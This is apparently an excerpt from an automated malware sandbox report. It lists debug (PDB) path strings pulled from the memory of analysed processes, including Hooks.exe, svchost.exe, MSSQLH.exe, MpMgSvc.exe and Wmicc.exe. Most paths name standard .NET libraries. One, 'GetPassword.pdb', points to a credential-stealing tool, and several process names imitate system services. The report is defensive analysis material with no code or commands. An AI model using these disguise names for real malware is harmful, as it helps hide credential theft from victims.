Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.IO.UnmanagedMemoryStream\4.0.3.0\System.IO.UnmanagedMemoryStream.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Diagnostics.Tools\4.0.1.0\System.Diagnostics.Tools.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin/obj/Windows_NT.AnyCPU.Release/System.Threading.Overlapped/netfx\System.Threading.Overlapped.pdb source: Hooks.exe, 00000007.00000002.1981824704.0000000001A27000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000011605000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Threading.Timer\4.0.1.0\System.Threading.Timer.pdbt( source: Hooks.exe, 00000007.00000002.1981824704.0000000001A27000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000011605000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin/obj/Windows_NT.AnyCPU.Release/System.Runtime.Serialization.Xml/netfx\System.Runtime.Serialization.Xml.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Xml.XmlSerializer\4.0.11.0\System.Xml.XmlSerializer.pdbt+ source: Hooks.exe, 00000007.00000002.1981824704.0000000001A27000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000011605000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Globalization\4.0.11.0\System.Globalization.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Threading.Timer\4.0.1.0\System.Threading.Timer.pdb source: Hooks.exe, 00000007.00000002.1981824704.0000000001A27000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000011605000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Net.NameResolution\4.0.2.0\System.Net.NameResolution.pdb\|( source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin\obj\Windows_NT.AnyCPU.Release\System.Runtime.InteropServices.RuntimeInformation\netfx\System.Runtime.InteropServices.RuntimeInformation.pdbxE source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Linq.Parallel\4.0.1.0\System.Linq.Parallel.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin/obj/Windows_NT.AnyCPU.Release/System.Security.Cryptography.Algorithms/netfx\System.Security.Cryptography.Algorithms.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.ComponentModel.Primitives\4.1.2.0\System.ComponentModel.Primitives.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: /_/artifacts/obj/Microsoft.Bcl.AsyncInterfaces/net461-Release/Microsoft.Bcl.AsyncInterfaces.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Net.Security\4.0.2.0\System.Net.Security.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Xml.XPath\4.0.3.0\System.Xml.XPath.pdb source: Hooks.exe, 00000007.00000002.1981824704.0000000001A27000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000011605000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Runtime.CompilerServices.VisualC\4.0.2.0\System.Runtime.CompilerServices.VisualC.pdb@Z L*_CorDllMainmscoree.dll source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin/obj/Windows_NT.AnyCPU.Release/System.Runtime.Serialization.Primitives/netfx\System.Runtime.Serialization.Primitives.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Runtime.Numerics\4.0.1.0\System.Runtime.Numerics.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin/obj/Windows_NT.AnyCPU.Release/System.IO.Compression/netfx\System.IO.Compression.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Security.Principal\4.0.1.0\System.Security.Principal.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin/obj/Windows_NT.AnyCPU.Release/System.Diagnostics.Tracing/netfx\System.Diagnostics.Tracing.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Runtime\4.1.2.0\System.Runtime.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Xml.XmlSerializer\4.0.11.0\System.Xml.XmlSerializer.pdb source: Hooks.exe, 00000007.00000002.1981824704.0000000001A27000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000011605000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Resources.Writer\4.0.2.0\System.Resources.Writer.pdbl( source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Reflection\4.1.2.0\System.Reflection.pdbH,b, T,_CorDllMainmscoree.dll source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: /_/artifacts/obj/Microsoft.Diagnostics.NETCore.Client/Release/netstandard2.0/Microsoft.Diagnostics.NETCore.Client.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Runtime.Numerics\4.0.1.0\System.Runtime.Numerics.pdb\|( source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.ComponentModel.TypeConverter\4.1.2.0\System.ComponentModel.TypeConverter.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Runtime.Handles\4.0.1.0\System.Runtime.Handles.pdb,)F) 8)_CorDllMainmscoree.dll source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Text.RegularExpressions\4.1.1.0\System.Text.RegularExpressions.pdb source: Hooks.exe, 00000007.00000002.1981824704.0000000001A27000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000011605000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Net.Ping\4.0.2.0\System.Net.Ping.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Reflection.Extensions\4.0.1.0\System.Reflection.Extensions.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Diagnostics.Contracts\4.0.1.0\System.Diagnostics.Contracts.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.AppContext\4.1.2.0\System.AppContext.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Collections.Concurrent\4.0.11.0\System.Collections.Concurrent.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Net.NetworkInformation\4.1.2.0\System.Net.NetworkInformation.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Security.Cryptography.Primitives\4.0.2.0\System.Security.Cryptography.Primitives.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin/obj/Windows_NT.AnyCPU.Release/System.Globalization.Extensions/netfx\System.Globalization.Extensions.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.ObjectModel\4.0.11.0\System.ObjectModel.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Runtime.CompilerServices.VisualC\4.0.2.0\System.Runtime.CompilerServices.VisualC.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin/obj/AnyOS.AnyCPU.Release/System.Security.SecureString/netfx\System.Security.SecureString.pdbf) source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: D:\workspace\_work\1\s\artifacts\obj\Microsoft.Diagnostics.Runtime\Release\net461\Microsoft.Diagnostics.Runtime.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Runtime.InteropServices\4.1.2.0\System.Runtime.InteropServices.pdbH5b5 T5_CorDllMainmscoree.dll source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Threading.Tasks\4.0.11.0\System.Threading.Tasks.pdb source: Hooks.exe, 00000007.00000002.1981824704.0000000001A27000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000011605000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Xml.ReaderWriter\4.1.1.0\System.Xml.ReaderWriter.pdb source: Hooks.exe, 00000007.00000002.1981824704.0000000001A27000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000011605000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Diagnostics.TextWriterTraceListener\4.0.2.0\System.Diagnostics.TextWriterTraceListener.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Resources.Reader\4.0.2.0\System.Resources.Reader.pdbl( source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Runtime.Serialization.Formatters\4.0.2.0\System.Runtime.Serialization.Formatters.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Threading.Tasks.Parallel\4.0.1.0\System.Threading.Tasks.Parallel.pdb source: Hooks.exe, 00000007.00000002.1981824704.0000000001A27000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000011605000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: /_/artifacts/obj/System.Collections.Immutable/net461-Release/System.Collections.Immutable.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Net.WebSockets.Client\4.0.2.0\System.Net.WebSockets.Client.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.IO.IsolatedStorage\4.0.2.0\System.IO.IsolatedStorage.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin/obj/AnyOS.AnyCPU.Release/System.Xml.XPath.XDocument/netfx\System.Xml.XPath.XDocument.pdb source: Hooks.exe, 00000007.00000002.1981824704.0000000001A27000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000011605000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.IO.FileSystem\4.0.3.0\System.IO.FileSystem.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Security.Cryptography.X509Certificates\4.1.2.0\System.Security.Cryptography.X509Certificates.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Linq.Expressions\4.1.2.0\System.Linq.Expressions.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Security.Cryptography.Csp\4.0.2.0\System.Security.Cryptography.Csp.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: C:\Dll1\Release\Dll_x86.pdb source: 38iGnQnL33.exe, 38iGnQnL33.exe, 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmp, MSSQLH.exe, 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmp, MSSQLH.exe, 00000001.00000000.1648605215.000000000042B000.00000008.00000001.01000000.00000004.sdmp
Source:	Binary string: E:\A\_work\156\s\corefx\bin\obj\AnyOS.AnyCPU.Release\System.Memory\netfx\System.Memory.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.ComponentModel\4.0.1.0\System.ComponentModel.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Net.Requests\4.0.11.0\System.Net.Requests.pdbX)r) d)_CorDllMainmscoree.dll source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Runtime.Handles\4.0.1.0\System.Runtime.Handles.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\156\s\corefx\bin\obj\AnyOS.AnyCPU.Release\System.Buffers\netfx\System.Buffers.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: /_/artifacts/obj/System.Text.Encodings.Web/net461-Release/System.Text.Encodings.Web.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\39\s\corefx\bin/obj/AnyOS.AnyCPU.Release/System.Numerics.Vectors/net46\System.Numerics.Vectors.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\156\s\corefx\bin\obj\AnyOS.AnyCPU.Release\System.Threading.Tasks.Extensions\netfx\System.Threading.Tasks.Extensions.pdb source: Hooks.exe, 00000007.00000002.1981824704.0000000001A27000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000011605000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: /_/artifacts/obj/System.Collections.Immutable/net461-Release/System.Collections.Immutable.pdbSHA256M source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Security.Cryptography.Encoding\4.0.2.0\System.Security.Cryptography.Encoding.pdbT)n) `)_CorDllMainmscoree.dll source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.AppContext\4.1.2.0\System.AppContext.pdb<(V( H(_CorDllMainmscoree.dll source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.IO.Pipes\4.0.2.0\System.IO.Pipes.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Diagnostics.Process\4.1.2.0\System.Diagnostics.Process.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Net.Primitives\4.0.11.0\System.Net.Primitives.pdbH,b, T,_CorDllMainmscoree.dll source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Linq.Queryable\4.0.1.0\System.Linq.Queryable.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin/obj/AnyOS.AnyCPU.Release/System.Security.SecureString/netfx\System.Security.SecureString.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.ComponentModel.Primitives\4.1.2.0\System.ComponentModel.Primitives.pdbd+~+ p+_CorDllMainmscoree.dll source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Xml.XDocument\4.0.11.0\System.Xml.XDocument.pdb source: Hooks.exe, 00000007.00000002.1981824704.0000000001A27000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000011605000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Dynamic.Runtime\4.0.11.0\System.Dynamic.Runtime.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Threading\4.0.11.0\System.Threading.pdb source: Hooks.exe, 00000007.00000002.1981824704.0000000001A27000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000011605000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Xml.XmlDocument\4.0.3.0\System.Xml.XmlDocument.pdb source: Hooks.exe, 00000007.00000002.1981824704.0000000001A27000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000011605000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.IO.Compression.ZipFile\4.0.3.0\System.IO.Compression.ZipFile.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Threading.Thread\4.0.2.0\System.Threading.Thread.pdb source: Hooks.exe, 00000007.00000002.1981824704.0000000001A27000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000011605000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: C:\GetPassword-master\Release\GetPassword.pdb source: MpMgSvc.exe, 00000004.00000002.4109072853.0000000000401000.00000040.00000001.01000000.00000009.sdmp, Wmicc.exe, 0000003F.00000000.2300455511.0000000000424000.00000008.00000001.01000000.0000000E.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\Microsoft.Win32.Primitives\4.0.3.0\Microsoft.Win32.Primitives.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Diagnostics.FileVersionInfo\4.0.2.0\System.Diagnostics.FileVersionInfo.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
